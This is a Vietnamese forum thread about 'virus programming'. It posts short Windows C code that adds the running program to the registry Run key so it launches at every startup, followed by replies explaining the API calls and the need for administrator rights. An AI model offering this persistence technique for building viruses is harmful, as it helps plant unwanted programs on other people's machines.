Công cụ bảo vệ mã nguồn .NET mạnh nhất, không thể unpack, miễn phí cho các khách hàng đầu tiên đăng ký.
Trang 1 trên tổng số 2 12 Cuối cùngCuối cùng
Từ 1 tới 10 trên tổng số 15 kết quả

Đề tài: Lập trình Virus | Cách tạo Key khởi động cho Virus

Hybrid View

  1. #1
    Ngày gia nhập
    02 2008
    Bài viết
    1,009

    Red face Lập trình Virus | Cách tạo Key khởi động cho Virus

    yêu cầu ai copy paste để lại bài viết thuộc về congdongcviet nhá

    Visual C++ Code:
    1. #include <windows.h>
    2.  
    3. int main(void)
    4.  
    5. {
    6.     /* Grab filename of process/exe using GetModuleFileName() function. */
    7.     TCHAR szPath[MAX_PATH];
    8.  
    9.  
    10.     GetModuleFileName(NULL,
    11.                       szPath,
    12.                       MAX_PATH);
    13.  
    14.  
    15.     /* Create a New HKEY. */
    16.     HKEY newValue;
    17.  
    18.     /* Open Registry key. */
    19.  
    20.     RegOpenKey(HKEY_LOCAL_MACHINE,
    21.                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
    22.  
    23.                &newValue);
    24.  
    25.     /* Note use HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to add for the
    26.  
    27.         current user only.
    28.  
    29.         Now give a new value.
    30.  
    31.         Syntax for RegSetValueEx() function is
    32.         LONG WINAPI RegSetValueEx(
    33.         __in        HKEY hKey,
    34.         __in_opt    LPCTSTR lpValueName,
    35.  
    36.         __reserved  DWORD Reserved,
    37.         __in        DWORD dwType,
    38.         __in_opt    const BYTE* lpData,
    39.         __in        DWORD cbData
    40.         );
    41.  
    42.         More info at http://msdn2.microsoft.com/en-us/library/ms724923.aspx */
    43.  
    44.  
    45.     RegSetValueEx(newValue,
    46.                   "Name_Me_Please",
    47.                   0,
    48.  
    49.                   REG_SZ,
    50.                   (LPBYTE)szPath,
    51.                   sizeof(szPath));
    52.  
    53.  
    54.     /* Close the key. */
    55.     RegCloseKey(newValue);
    56.     return 0;
    57.  
    58. }
    Đã được chỉnh sửa lần cuối bởi AlexF : 28-05-2009 lúc 03:59 PM.

  2. #2
    Ngày gia nhập
    06 2009
    Bài viết
    3

    bài này chạy virut máy mình hay máy người khác bạn; hỏi trước không chạy die máy mình thì khổ

  3. #3
    Ngày gia nhập
    05 2011
    Nơi ở
    TP HCM
    Bài viết
    27

    Bạn có thể trình bày rõ cách hoạt động trong chương trình của bạn cho mọi ngưởi cùng rõ với được không
    Mình coi tuy cũng biết sơ sơ nhưng chưa được rõ lắm, như cụ thể thì 2 hàm RegKeyOpen với RegSetValueEx hoạt động thế nào ?

    Thanks !

  4. #4
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Trích dẫn Nguyên bản được gửi bởi mini_bestboy Xem bài viết
    Bạn có thể trình bày rõ cách hoạt động trong chương trình của bạn cho mọi ngưởi cùng rõ với được không
    Mình coi tuy cũng biết sơ sơ nhưng chưa được rõ lắm, như cụ thể thì 2 hàm RegKeyOpen với RegSetValueEx hoạt động thế nào ?

    Thanks !
    Mình chưa hiểu rõ câu hỏi của bạn. Nhưng công dụng của 2 hàm trên thì dùng để :
    RegKeyOpen -> mở key
    RegSetValueEx -> gán giá trị cho key đã mở
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  5. #5
    Ngày gia nhập
    05 2011
    Nơi ở
    TP HCM
    Bài viết
    27

    Trích dẫn Nguyên bản được gửi bởi meoconlongvang Xem bài viết
    Mình chưa hiểu rõ câu hỏi của bạn. Nhưng công dụng của 2 hàm trên thì dùng để :
    RegKeyOpen -> mở key
    RegSetValueEx -> gán giá trị cho key đã mở
    Thế cho mình hỏi là cái chuỗi "Name_me_please" trong hàm RegSetValueEx là tên file con virus của mình cần cài vô phải không ? Sau khi thực hiện xong hàm này thì trong key Run sẽ có thêm 1 "string value" là địa chỉ con virus đó à (như 1 số string value có sẵn trong key)

  6. #6
    Ngày gia nhập
    07 2008
    Nơi ở
    /media/Anime
    Bài viết
    2,288

    Mặc định Lập trình Virus | Cách tạo Key khởi động cho Virus

    Sau khi set xong thì sẽ có thêm 1 key khởi động với tên là name_me_please, đường dẫn chỉ đến file exe
    Càng yêu mèo thì mèo càng mập. Mèo càng mập ta lại càng yêu.

  7. #7
    Ngày gia nhập
    02 2013
    Nơi ở
    Ho Chi Minh City, Vietnam, Vietnam
    Bài viết
    78

    Trích dẫn Nguyên bản được gửi bởi AlexF Xem bài viết
    yêu cầu ai copy paste để lại bài viết thuộc về congdongcviet nhá

    Visual C++ Code:
    1. #include <windows.h>
    2.  
    3. int main(void)
    4.  
    5. {
    6.     /* Grab filename of process/exe using GetModuleFileName() function. */
    7.     TCHAR szPath[MAX_PATH];
    8.  
    9.  
    10.     GetModuleFileName(NULL,
    11.                       szPath,
    12.                       MAX_PATH);
    13.  
    14.  
    15.     /* Create a New HKEY. */
    16.     HKEY newValue;
    17.  
    18.     /* Open Registry key. */
    19.  
    20.     RegOpenKey(HKEY_LOCAL_MACHINE,
    21.                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
    22.  
    23.                &newValue);
    24.  
    25.     /* Note use HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run to add for the
    26.  
    27.         current user only.
    28.  
    29.         Now give a new value.
    30.  
    31.         Syntax for RegSetValueEx() function is
    32.         LONG WINAPI RegSetValueEx(
    33.         __in        HKEY hKey,
    34.         __in_opt    LPCTSTR lpValueName,
    35.  
    36.         __reserved  DWORD Reserved,
    37.         __in        DWORD dwType,
    38.         __in_opt    const BYTE* lpData,
    39.         __in        DWORD cbData
    40.         );
    41.  
    42.         More info at http://msdn2.microsoft.com/en-us/library/ms724923.aspx */
    43.  
    44.  
    45.     RegSetValueEx(newValue,
    46.                   "Name_Me_Please",
    47.                   0,
    48.  
    49.                   REG_SZ,
    50.                   (LPBYTE)szPath,
    51.                   sizeof(szPath));
    52.  
    53.  
    54.     /* Close the key. */
    55.     RegCloseKey(newValue);
    56.     return 0;
    57.  
    58. }
    Sorry đã đào mộ bài này lên. Mình copy đoạn mã này về dịch. nhưng khi vào registry không thấy khóa nào hết. Mình dùng Visual studio 2010 và win 7

  8. #8
    Ngày gia nhập
    03 2009
    Bài viết
    128

    Trích dẫn Nguyên bản được gửi bởi luanft Xem bài viết
    Sorry đã đào mộ bài này lên. Mình copy đoạn mã này về dịch. nhưng khi vào registry không thấy khóa nào hết. Mình dùng Visual studio 2010 và win 7
    Trong win 7 thì muốn ghi vào HKEY_LOCAL_MACHINE bạn phải chạy dưới quyền admin. Chuột phải vào file exe chọn run as administrator

  9. #9
    Ngày gia nhập
    02 2013
    Nơi ở
    Ho Chi Minh City, Vietnam, Vietnam
    Bài viết
    78

    Trích dẫn Nguyên bản được gửi bởi noone2407 Xem bài viết
    Trong win 7 thì muốn ghi vào HKEY_LOCAL_MACHINE bạn phải chạy dưới quyền admin. Chuột phải vào file exe chọn run as administrator
    Mình có làm một con khóa chuột. Nhưng làm sao để ghi nó chạy dưới quyền sa hả bạn?

  10. #10
    Ngày gia nhập
    03 2009
    Bài viết
    128

    Trích dẫn Nguyên bản được gửi bởi luanft Xem bài viết
    Mình có làm một con khóa chuột. Nhưng làm sao để ghi nó chạy dưới quyền sa hả bạn?
    Chuột phải vào file exe chọn run as administrator.

Các đề tài tương tự

  1. So sánh các phần mềm diệt virus
    Gửi bởi nguyenkill trong diễn đàn Software (Phần mềm) | Ebooks
    Trả lời: 3
    Bài viết cuối: 18-08-2013, 12:09 PM
  2. Viết virus để làm gì?
    Gửi bởi pokemon00007 trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 15
    Bài viết cuối: 21-10-2012, 03:25 PM
  3. Algorithm Tạo thông báo giống như chương trình diệt virus?
    Gửi bởi programmingvietnam trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 3
    Bài viết cuối: 04-11-2011, 09:33 PM
  4. Dữ liệu mất tích sau khi diệt virus.
    Gửi bởi vietsnets2 trong diễn đàn Software (Phần mềm) | Ebooks
    Trả lời: 0
    Bài viết cuối: 29-09-2011, 08:31 AM
  5. Viết virus khóa chuột - Lập trình virus trên C
    Gửi bởi AlexF trong diễn đàn Lập trình Virus & Anti-Virus
    Trả lời: 21
    Bài viết cuối: 03-07-2010, 09:57 AM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn